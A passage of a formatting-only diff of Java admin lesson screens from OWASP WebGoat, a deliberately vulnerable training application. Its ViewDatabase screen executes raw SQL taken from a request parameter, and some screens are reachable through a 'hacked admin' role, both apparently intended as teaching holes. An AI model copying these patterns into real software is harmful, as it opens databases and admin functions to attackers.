* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -52,7 +51,8 @@ public class RefreshDBScreen extends LessonAdapter
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -66,8 +66,7 @@ public class RefreshDBScreen extends LessonAdapter
if (refresh)
{
refreshDB(s);
ec.addElement(new StringElement(
"Successfully refreshed the database."));
ec.addElement(new StringElement("Successfully refreshed the database."));
}
else
{
@ -77,8 +76,7 @@ public class RefreshDBScreen extends LessonAdapter
TD td1 = new TD().addElement(label);
TD td2 = new TD().addElement(link1);
TD td3 = new TD().addElement(link2);
TR row = new TR().addElement(td1).addElement(td2).addElement(
td3);
TR row = new TR().addElement(td1).addElement(td2).addElement(td3);
Table t = new Table().setCellSpacing(40).setWidth("50%");
if (s.isColor())
@ -89,8 +87,7 @@ public class RefreshDBScreen extends LessonAdapter
t.addElement(row);
ec.addElement(t);
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -99,7 +96,6 @@ public class RefreshDBScreen extends LessonAdapter
return (ec);
}
/**
* Gets the category attribute of the RefreshDBScreen object
*
@ -112,13 +108,11 @@ public class RefreshDBScreen extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the role attribute of the RefreshDBScreen object
*
@ -129,7 +123,6 @@ public class RefreshDBScreen extends LessonAdapter
return ADMIN_ROLE;
}
/**
* Gets the title attribute of the RefreshDBScreen object
*
@ -140,11 +133,11 @@ public class RefreshDBScreen extends LessonAdapter
return ("Refresh Database");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
*/
public void refreshDB(WebSession s)
{
@ -155,11 +148,9 @@ public class RefreshDBScreen extends LessonAdapter
CreateDB db = new CreateDB();
db.makeDB(connection);
System.out.println("Successfully refreshed the database.");
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error refreshing database "
+ this.getClass().getName());
s.setMessage("Error refreshing database " + this.getClass().getName());
e.printStackTrace();
}
}

View File

@ -1,7 +1,7 @@
package org.owasp.webgoat.lessons.admin;
import java.util.Iterator;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.HtmlColor;
@ -20,32 +20,31 @@ import org.owasp.webgoat.session.Screen;
import org.owasp.webgoat.session.UserTracker;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -60,11 +59,11 @@ public class ReportCardScreen extends LessonAdapter
*/
protected final static String USERNAME = "Username";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -83,9 +82,9 @@ public class ReportCardScreen extends LessonAdapter
{
user = s.getUserName();
}
} catch (Exception e)
{
}
catch (Exception e)
{}
if (user == null)
{
@ -98,18 +97,15 @@ public class ReportCardScreen extends LessonAdapter
return ec;
}
private Element makeFeedback(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new Center(new StringElement(
"Comments and suggestions are welcome. "
ec.addElement(new Center(new StringElement("Comments and suggestions are welcome. "
+ getWebgoatContext().getFeedbackAddress())));
return ec;
}
/**
* Gets the category attribute of the UserAdminScreen object
*
@ -122,13 +118,11 @@ public class ReportCardScreen extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the role attribute of the UserAdminScreen object
*
@ -139,7 +133,6 @@ public class ReportCardScreen extends LessonAdapter
return USER_ROLE;
}
/**
* Gets the title attribute of the UserAdminScreen object
*
@ -150,19 +143,20 @@ public class ReportCardScreen extends LessonAdapter
return ("Report Card");
}
/**
* Description of the Method
*
* @param screen Description of the Parameter
* @param s Description of the Parameter
* @param user Description of the Parameter
* @param screen
* Description of the Parameter
* @param s
* Description of the Parameter
* @param user
* Description of the Parameter
* @return Description of the Return Value
*/
private TR makeLessonRow(WebSession s, String user, Screen screen)
{
LessonTracker lessonTracker = UserTracker.instance().getLessonTracker(
s, user, screen);
LessonTracker lessonTracker = UserTracker.instance().getLessonTracker(s, user, screen);
TR tr = new TR();
if (lessonTracker.getCompleted())
{
@ -172,8 +166,7 @@ public class ReportCardScreen extends LessonAdapter
{
tr.setBgColor(HtmlColor.LIGHTBLUE);
}
else if (!lessonTracker.getCompleted()
&& lessonTracker.getNumVisits() > 10)
else if (!lessonTracker.getCompleted() && lessonTracker.getNumVisits() > 10)
{
tr.setBgColor(HtmlColor.RED);
}
@ -182,30 +175,22 @@ public class ReportCardScreen extends LessonAdapter
tr.setBgColor(HtmlColor.YELLOW);
}
tr.addElement(new TD().addElement(screen.getTitle()));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getCompleted() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
Integer.toString(lessonTracker.getNumVisits())));
tr.addElement(new TD().setAlign("CENTER").addElement(
Integer.toString(lessonTracker.getMaxHintLevel())));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedCookies() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedHtml() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedLessonPlan() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedParameters() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedSource() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getCompleted() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(Integer.toString(lessonTracker.getNumVisits())));
tr.addElement(new TD().setAlign("CENTER").addElement(Integer.toString(lessonTracker.getMaxHintLevel())));
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedCookies() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedHtml() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedLessonPlan() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedParameters() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedSource() ? "Y" : "N"));
return tr;
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeMessages(WebSession s)
@ -215,12 +200,13 @@ public class ReportCardScreen extends LessonAdapter
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param user Description of the Parameter
* @param s
* Description of the Parameter
* @param user
* Description of the Parameter
* @return Description of the Return Value
*/
public Element makeReportCard(WebSession s, String user)
@ -239,11 +225,10 @@ public class ReportCardScreen extends LessonAdapter
// These are all the user lesson
tr = new TR();
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement(
"Normal user lessons"));
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement("Normal user lessons"));
t.addElement(tr);
for (Iterator lessonIter = s.getCourse().getLessons(s,
AbstractLesson.USER_ROLE).iterator(); lessonIter.hasNext();)
for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.USER_ROLE).iterator(); lessonIter
.hasNext();)
{
Screen screen = (Screen) lessonIter.next();
t.addElement(makeLessonRow(s, user, screen));
@ -251,11 +236,9 @@ public class ReportCardScreen extends LessonAdapter
// The user figured out there was a hackable admin acocunt
tr = new TR();
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement(
"Hackable Admin Screens"));
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement("Hackable Admin Screens"));
t.addElement(tr);
for (Iterator lessonIter = s.getCourse().getLessons(s,
AbstractLesson.HACKED_ADMIN_ROLE).iterator(); lessonIter
for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.HACKED_ADMIN_ROLE).iterator(); lessonIter
.hasNext();)
{
Screen screen = (Screen) lessonIter.next();
@ -264,11 +247,10 @@ public class ReportCardScreen extends LessonAdapter
// The user figured out how to actually hack the admin acocunt
tr = new TR();
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement(
"Actual Admin Screens"));
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement("Actual Admin Screens"));
t.addElement(tr);
for (Iterator lessonIter = s.getCourse().getLessons(s,
AbstractLesson.ADMIN_ROLE).iterator(); lessonIter.hasNext();)
for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.ADMIN_ROLE).iterator(); lessonIter
.hasNext();)
{
Screen screen = (Screen) lessonIter.next();
t.addElement(makeLessonRow(s, user, screen));
@ -278,25 +260,27 @@ public class ReportCardScreen extends LessonAdapter
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param user Description of the Parameter
* @param s
* Description of the Parameter
* @param user
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeUser(WebSession s, String user)
{
H2 h2 = new H2();
// FIXME: The session is the current session, not the session of the user we are reporting.
//String type = s.isAdmin() ? " [Administrative User]" : s.isHackedAdmin() ? " [Normal User - Hacked Admin Access]" : " [Normal User]";
// String type = s.isAdmin() ? " [Administrative User]" : s.isHackedAdmin() ? " [Normal User
// - Hacked Admin
// Access]" : " [Normal User]";
String type = "";
h2.addElement(new StringElement("Results for: " + user + type));
return h2;
}
/**
* Description of the Method
*

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.admin;
import java.util.Enumeration;
import java.util.Iterator;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.HtmlColor;
@ -21,32 +21,31 @@ import org.owasp.webgoat.session.Screen;
import org.owasp.webgoat.session.UserTracker;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -60,11 +59,11 @@ public class SummaryReportCardScreen extends LessonAdapter
private int totalUsersAdminComplete = 0;
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -95,8 +94,7 @@ public class SummaryReportCardScreen extends LessonAdapter
}
}
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -105,16 +103,15 @@ public class SummaryReportCardScreen extends LessonAdapter
ec.addElement(new P());
Table t = new Table().setCellSpacing(0).setCellPadding(4).setBorder(1)
.setWidth("100%");
Table t = new Table().setCellSpacing(0).setCellPadding(4).setBorder(1).setWidth("100%");
if (s.isColor())
{
t.setBorder(1);
}
t.addElement(makeUserSummaryHeader());
for (Iterator<String> userIter = UserTracker.instance().getAllUsers(
WebSession.WEBGOAT_USER).iterator(); userIter.hasNext();)
for (Iterator<String> userIter = UserTracker.instance().getAllUsers(WebSession.WEBGOAT_USER).iterator(); userIter
.hasNext();)
{
String user = userIter.next();
@ -126,50 +123,41 @@ public class SummaryReportCardScreen extends LessonAdapter
return ec;
}
protected Element makeSummary(WebSession s)
{
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("100%");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("100%");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
//tr.addElement( new TH().addElement( "Summary").setColSpan(1));
//t.addElement( tr );
// tr.addElement( new TH().addElement( "Summary").setColSpan(1));
// t.addElement( tr );
tr = new TR();
tr.addElement(new TD().setWidth("60%").addElement(
"Total number of users"));
tr.addElement(new TD().setWidth("60%").addElement("Total number of users"));
tr.addElement(new TD().setAlign("LEFT").addElement(
Integer.toString(UserTracker.instance().getAllUsers(
WebSession.WEBGOAT_USER).size())));
Integer.toString(UserTracker.instance()
.getAllUsers(WebSession.WEBGOAT_USER).size())));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().setWidth("60%").addElement(
"Total number of users that completed all normal lessons"));
tr.addElement(new TD().setAlign("LEFT").addElement(
Integer.toString(totalUsersNormalComplete)));
tr.addElement(new TD().setWidth("60%").addElement("Total number of users that completed all normal lessons"));
tr.addElement(new TD().setAlign("LEFT").addElement(Integer.toString(totalUsersNormalComplete)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().setWidth("60%").addElement(
"Total number of users that completed all admin lessons"));
tr.addElement(new TD().setAlign("LEFT").addElement(
Integer.toString(totalUsersAdminComplete)));
tr.addElement(new TD().setWidth("60%").addElement("Total number of users that completed all admin lessons"));
tr.addElement(new TD().setAlign("LEFT").addElement(Integer.toString(totalUsersAdminComplete)));
t.addElement(tr);
return t;
}
private void deleteUser(String user)
{
UserTracker.instance().deleteUser(user);
}
/**
* Gets the category attribute of the UserAdminScreen object
*
@ -182,13 +170,11 @@ public class SummaryReportCardScreen extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the role attribute of the UserAdminScreen object
*
@ -199,7 +185,6 @@ public class SummaryReportCardScreen extends LessonAdapter
return ADMIN_ROLE;
}
/**
* Gets the title attribute of the UserAdminScreen object
*
@ -210,11 +195,11 @@ public class SummaryReportCardScreen extends LessonAdapter
return ("Summary Report Card");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeMessages(WebSession s)
@ -224,7 +209,6 @@ public class SummaryReportCardScreen extends LessonAdapter
return (ec);
}
/**
* Description of the Method
*
@ -243,12 +227,13 @@ public class SummaryReportCardScreen extends LessonAdapter
return tr;
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param user Description of the Parameter
* @param s
* Description of the Parameter
* @param user
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeUserSummaryRow(WebSession s, String user)
@ -261,14 +246,13 @@ public class SummaryReportCardScreen extends LessonAdapter
boolean normalComplete = false;
boolean adminComplete = false;
for (Iterator lessonIter = s.getCourse().getLessons(s,
AbstractLesson.USER_ROLE).iterator(); lessonIter.hasNext();)
for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.USER_ROLE).iterator(); lessonIter
.hasNext();)
{
lessonCount++;
Screen screen = (Screen) lessonIter.next();
LessonTracker lessonTracker = UserTracker.instance()
.getLessonTracker(s, user, screen);
LessonTracker lessonTracker = UserTracker.instance().getLessonTracker(s, user, screen);
if (lessonTracker.getCompleted())
{
passedCount++;
@ -279,21 +263,18 @@ public class SummaryReportCardScreen extends LessonAdapter
normalComplete = true;
totalUsersNormalComplete++;
}
String text = Integer.toString(passedCount) + " of "
+ Integer.toString(lessonCount);
String text = Integer.toString(passedCount) + " of " + Integer.toString(lessonCount);
tr.addElement(new TD().setAlign("CENTER").addElement(text));
lessonCount = 0;
passedCount = 0;
for (Iterator lessonIter = s.getCourse().getLessons(s,
AbstractLesson.HACKED_ADMIN_ROLE).iterator(); lessonIter
for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.HACKED_ADMIN_ROLE).iterator(); lessonIter
.hasNext();)
{
lessonCount++;
Screen screen = (Screen) lessonIter.next();
LessonTracker lessonTracker = UserTracker.instance()
.getLessonTracker(s, user, screen);
LessonTracker lessonTracker = UserTracker.instance().getLessonTracker(s, user, screen);
if (lessonTracker.getCompleted())
{
passedCount++;
@ -304,14 +285,11 @@ public class SummaryReportCardScreen extends LessonAdapter
adminComplete = true;
totalUsersAdminComplete++;
}
text = Integer.toString(passedCount) + " of "
+ Integer.toString(lessonCount);
text = Integer.toString(passedCount) + " of " + Integer.toString(lessonCount);
tr.addElement(new TD().setAlign("CENTER").addElement(text));
tr.addElement(new TD().setAlign("CENTER").addElement(
new Input(Input.SUBMIT, "View_" + user, "View")));
tr.addElement(new TD().setAlign("CENTER").addElement(
new Input(Input.SUBMIT, "Delete_" + user, "Delete")));
tr.addElement(new TD().setAlign("CENTER").addElement(new Input(Input.SUBMIT, "View_" + user, "View")));
tr.addElement(new TD().setAlign("CENTER").addElement(new Input(Input.SUBMIT, "Delete_" + user, "Delete")));
if (normalComplete && adminComplete)
{
@ -329,7 +307,6 @@ public class SummaryReportCardScreen extends LessonAdapter
return (tr);
}
public boolean isEnterprise()
{
return true;

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.admin;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category;
@ -12,32 +12,31 @@ import org.owasp.webgoat.lessons.LessonAdapter;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -52,7 +51,8 @@ public class UserAdminScreen extends LessonAdapter
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -63,8 +63,7 @@ public class UserAdminScreen extends LessonAdapter
{
Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(QUERY);
@ -72,11 +71,9 @@ public class UserAdminScreen extends LessonAdapter
{
makeSuccess(s);
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -85,7 +82,6 @@ public class UserAdminScreen extends LessonAdapter
return (ec);
}
/**
* Gets the category attribute of the UserAdminScreen object
*
@ -98,13 +94,11 @@ public class UserAdminScreen extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the role attribute of the UserAdminScreen object
*
@ -115,7 +109,6 @@ public class UserAdminScreen extends LessonAdapter
return HACKED_ADMIN_ROLE;
}
/**
* Gets the title attribute of the UserAdminScreen object
*

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.admin;
import java.sql.Connection;
@ -13,32 +14,31 @@ import org.apache.ecs.StringElement;
import org.apache.ecs.html.Input;
import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -53,7 +53,8 @@ public class ViewDatabase extends LessonAdapter
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -64,8 +65,7 @@ public class ViewDatabase extends LessonAdapter
{
ec.addElement(new StringElement("Enter a SQL statement: "));
StringBuffer sqlStatement = new StringBuffer(s.getParser()
.getRawParameter(SQL, ""));
StringBuffer sqlStatement = new StringBuffer(s.getParser().getRawParameter(SQL, ""));
Input input = new Input(Input.TEXT, SQL, sqlStatement.toString());
ec.addElement(input);
@ -77,23 +77,19 @@ public class ViewDatabase extends LessonAdapter
if (sqlStatement.length() > 0)
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(sqlStatement
.toString());
ResultSet results = statement.executeQuery(sqlStatement.toString());
if ((results != null) && (results.first() == true))
{
makeSuccess(s);
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
}
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -102,7 +98,6 @@ public class ViewDatabase extends LessonAdapter
return (ec);
}
/**
* Gets the category attribute of the DatabaseScreen object
*
@ -115,13 +110,11 @@ public class ViewDatabase extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the hints attribute of the DatabaseScreen object
*
@ -135,7 +128,6 @@ public class ViewDatabase extends LessonAdapter
return hints;
}
/**
* Gets the instructions attribute of the ViewDatabase object
*
@ -148,7 +140,6 @@ public class ViewDatabase extends LessonAdapter
return (instructions);
}
/**
* Gets the role attribute of the ViewDatabase object
*
@ -159,7 +150,6 @@ public class ViewDatabase extends LessonAdapter
return HACKED_ADMIN_ROLE;
}
/**
* Gets the title attribute of the DatabaseScreen object
*

View File

@ -1,39 +1,38 @@
package org.owasp.webgoat.lessons.admin;
import org.owasp.webgoat.lessons.WelcomeScreen;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.Center;
import org.apache.ecs.html.H1;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -46,39 +45,38 @@ public class WelcomeAdminScreen extends WelcomeScreen
/**
* Constructor for the WelcomeAdminScreen object
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
*/
public WelcomeAdminScreen(WebSession s)
{
super(s);
}
/**
* Constructor for the WelcomeAdminScreen object
*/
public WelcomeAdminScreen()
{}
{
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
